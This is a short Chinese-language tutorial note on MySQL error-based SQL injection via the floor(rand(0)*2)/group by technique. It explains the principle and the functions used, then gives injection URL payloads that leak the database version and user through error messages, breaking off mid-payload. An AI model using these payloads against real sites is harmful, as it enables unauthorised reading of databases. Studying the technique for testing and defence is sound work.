0x00_报错注入原理
构造报错payload让信息通过报错信息回显出来。在查询不回现内容,会答应错误信息。Update、insert等语句,会打印错误信息。
0x01_报错注入操作
floor()报错注入
mysql模板:
concat:连接字符串功能
floor:去整数值
rand:取0~1之间的随机浮点值
group by:根据一个或多个列对结果集进行分组并有排序功能
select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
原因:group by 对rand()函数进行操作时产生错误
注入演示:
/?id=1' and (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2)))--+
/?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select user()),0x7e